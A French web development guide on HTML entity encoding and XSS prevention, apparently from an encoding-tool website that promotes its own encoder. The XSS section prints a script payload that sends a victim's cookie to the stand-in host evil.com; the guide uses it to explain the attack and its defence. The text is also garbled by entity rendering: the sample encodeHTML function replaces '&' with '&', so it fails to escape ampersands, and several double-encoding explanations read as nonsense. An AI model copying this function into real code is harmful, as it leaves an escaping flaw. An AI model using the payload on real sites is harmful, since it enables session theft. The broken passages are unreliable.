Guide d'Encodage des Entités HTML : Protégez Vos Pages Web

Si vous avez déjà essayé d'afficher une balise <div> comme texte sur une page web et l'avez vue disparaître dans le DOM, vous connaissez déjà le problème. Les navigateurs interprètent certains caractères comme des instructions de balisage, pas comme du contenu. Les entités HTML sont le moyen de dire au navigateur : « affiche ce caractère tel quel, ne l'interprète pas. »

Ce guide couvre les entités que vous utiliserez réellement, quand l'encodage compte et comment éviter les failles de sécurité qui découlent de son omission.

Pourquoi les Entités HTML Existent

Le HTML utilise une poignée de caractères comme délimiteurs structurels. Les trois principaux :

• < ouvre une balise
• > ferme une balise
• & démarre une référence d'entité

Quand l'analyseur du navigateur rencontre <script>, il n'affiche pas le texte — il exécute du JavaScript. Quand il rencontre ©, il rend ©. Cette double nature signifie que si vous voulez afficher ces caractères comme texte visible, vous devez les échapper avec des entités HTML.

Une entité HTML est une chaîne qui commence par & et se termine par ;. Entre ces délimiteurs se trouve une référence nommée (comme amp) ou un point de code numérique (comme #38).

Référence des Entités HTML Courantes

Voici les entités que vous utiliserez le plus souvent :

Les cinq premières sont obligatoires. Si vous rendez du contenu généré par les utilisateurs ou affichez du code, vous utiliserez &, <, >, " et ' en permanence.

L'Espace Insécable : Le Discret

  empêche un retour à la ligne entre deux mots. Ce n'est pas simplement « un espace supplémentaire » — les navigateurs fusionnent plusieurs espaces normaux en un seul, mais   est toujours rendu. Utilisez-le pour :

• Garder les unités avec les nombres : 100 km
• Éviter les mots orphelins en fin de paragraphe
• Formater les prix : 99,99 €

N'utilisez pas   pour l'espacement de mise en page. C'est le rôle du margin et du padding en CSS.

Entités Nommées vs Numériques vs Hexadécimales

Il y a trois façons d'écrire la même entité :

<!-- Entité nommée -->
&amp;

<!-- Entité numérique décimale -->
&#38;

<!-- Entité numérique hexadécimale -->
&#x26;

Les trois produisent le caractère esperluette &. Quand utiliser chacune :

Les entités nommées (&, <, ©) sont lisibles et auto-documentées. Quand quelqu'un lit le code source HTML, & communique l'intention immédiatement. Utilisez-les pour les caractères courants.

Les entités numériques décimales (&, ©) fonctionnent pour tout point de code Unicode, même les caractères sans référence nommée. Utilisez-les quand vous avez besoin de caractères sans entité nommée ou lors de la génération programmatique de HTML.

Les entités hexadécimales (&, ©) sont identiques aux décimales mais utilisent la notation hexadécimale. Utiles quand vous travaillez avec les tables Unicode (qui listent les points de code en hex) ou quand vos outils produisent des valeurs hex.

En pratique, utilisez les entités nommées pour les courantes et les numériques pour le reste. Les entités nommées sont supportées par tous les navigateurs et bien plus faciles à lire dans le code source.

Quand Encoder les Caractères HTML

Afficher des Extraits de Code

Si votre page montre des exemples de code, chaque < et > doit être encodé :

<!-- Ceci casse -->
<p>Utilisez la balise <div> pour les conteneurs.</p>

<!-- Ceci fonctionne -->
<p>Utilisez la balise &lt;div&gt; pour les conteneurs.</p>

La plupart des moteurs de templates et frameworks gèrent cela automatiquement avec leur syntaxe de sortie standard. Mais quand vous écrivez du HTML brut ou injectez du contenu avec innerHTML, vous êtes seul.

Contenu Généré par les Utilisateurs

Tout contenu provenant des utilisateurs — champs de formulaire, commentaires, données de profil, requêtes de recherche — doit être encodé avant le rendu. C'est une exigence de sécurité, pas une option.

E-mails HTML

Les clients mail sont notoirement incohérents dans le rendu des caractères. Encoder les caractères spéciaux en entités garantit qu'ils s'affichent correctement dans Gmail, Outlook, Apple Mail et tout autre client.

Systèmes de Gestion de Contenu

Si vous construisez ou utilisez un CMS, le pipeline de contenu doit encoder les entités HTML à l'étape de sortie. Le contenu stocké en base de données peut être brut, mais ce qui arrive au navigateur doit être échappé.

Prévention XSS : Pourquoi l'Encodage Est un Enjeu de Sécurité

Comment Fonctionne le XSS

Considérez une page de recherche qui affiche ce que l'utilisateur a cherché :

<!-- Le serveur rend ceci -->
<p>Vous avez cherché : ENTREE_UTILISATEUR</p>

Si un utilisateur saisit du texte normal comme javascript tutorials, pas de problème. Mais s'il saisit :

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Sans encodage, le navigateur voit une vraie balise <script> et l'exécute. L'attaquant obtient les cookies de la victime, ses jetons de session et potentiellement l'accès complet au compte.

La Solution

Encodez les cinq caractères critiques avant d'insérer toute donnée non fiable dans le HTML :

Voici une fonction d'encodage minimale :

function encodeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Notez l'ordre : & doit être remplacé en premier. Si vous remplacez d'abord < (produisant <), puis & (transformant < en <), vous obtenez un double encodage.

Protection au Niveau du Framework

Les frameworks modernes gèrent l'encodage par défaut :

• React : JSX échappe automatiquement les valeurs dans les expressions {}. dangerouslySetInnerHTML contourne cela — évitez-le avec du contenu utilisateur.
• Angular : Les liaisons de template sont assainies automatiquement. [innerHTML] contourne l'assainissement.
• Vue : La syntaxe moustache {{ }} échappe automatiquement. v-html non.
• Templates côté serveur (EJS, Jinja2, Twig) : La plupart échappent par défaut, mais vérifiez votre configuration.

Le schéma est cohérent : le chemin standard est sûr, et il y a toujours une trappe pour le HTML brut. Ne faites jamais passer les entrées utilisateur par la trappe.

Encodez du HTML avec Notre Outil

Besoin d'encoder ou décoder des entités HTML rapidement ? Notre outil Encodeur HTML s'en charge instantanément :

• Collez votre texte et obtenez la sortie encodée en un clic
• Supporte toutes les entités nommées et numériques
• Décode les entités en texte lisible
• Tout est traité côté client — vos données ne quittent jamais votre navigateur

Particulièrement utile pour préparer du contenu pour les e-mails HTML, encoder des extraits de code pour la documentation ou assainir du texte avant de l'intégrer dans des templates.

Erreurs Courantes à Éviter

Double encodage : Passer du texte deux fois dans un encodeur transforme & en &. Si vous voyez & s'afficher comme texte littéral, il y a eu un double encodage quelque part dans le pipeline.

Encoder dans les balises <script> : L'encodage d'entités HTML ne fonctionne pas dans les blocs de script. L'analyseur JavaScript ne comprend pas < — il le voit comme la chaîne littérale <. Pour les scripts en ligne, utilisez l'échappement de chaînes JavaScript.

Utiliser   pour l'espacement : Cela crée des problèmes d'accessibilité. Les lecteurs d'écran peuvent prononcer chaque espace insécable individuellement. Utilisez le CSS pour l'espacement visuel.

Oublier les valeurs d'attributs : L'encodage ne concerne pas que le contenu textuel. Les valeurs d'attributs ont aussi besoin d'encodage, surtout si elles contiennent des entrées utilisateur :

<!-- Dangereux -->
<input value="ENTREE_UTILISATEUR">

<!-- Sûr -->
<input value="&quot;valeur&quot; encodée">

Référence Rapide : Arbre de Décision d'Encodage

1. Le contenu est-il généré par l'utilisateur ? → Toujours encoder
2. Affichez-vous du code ? → Encoder <, > et &
3. C'est dans un attribut HTML ? → Encoder aussi " et '
4. C'est dans une URL ? → Utilisez l'encodage URL (voir notre Guide d'Encodage URL)
5. C'est dans du JavaScript ? → Utilisez l'échappement JavaScript, pas les entités HTML

Ressources Connexes

• L'Encodage Base64 Expliqué — comprendre un autre format d'encodage essentiel pour le développement web
• Guide d'Encodage URL — apprendre quand et comment encoder les caractères en pourcentage dans les URL
• Outil Encodeur HTML — encoder et décoder instantanément les entités HTML dans votre navigateur

---

🛠️ Essayez notre Encodeur HTML pour encoder et décoder des entités HTML directement dans votre navigateur — aucune donnée envoyée à un serveur.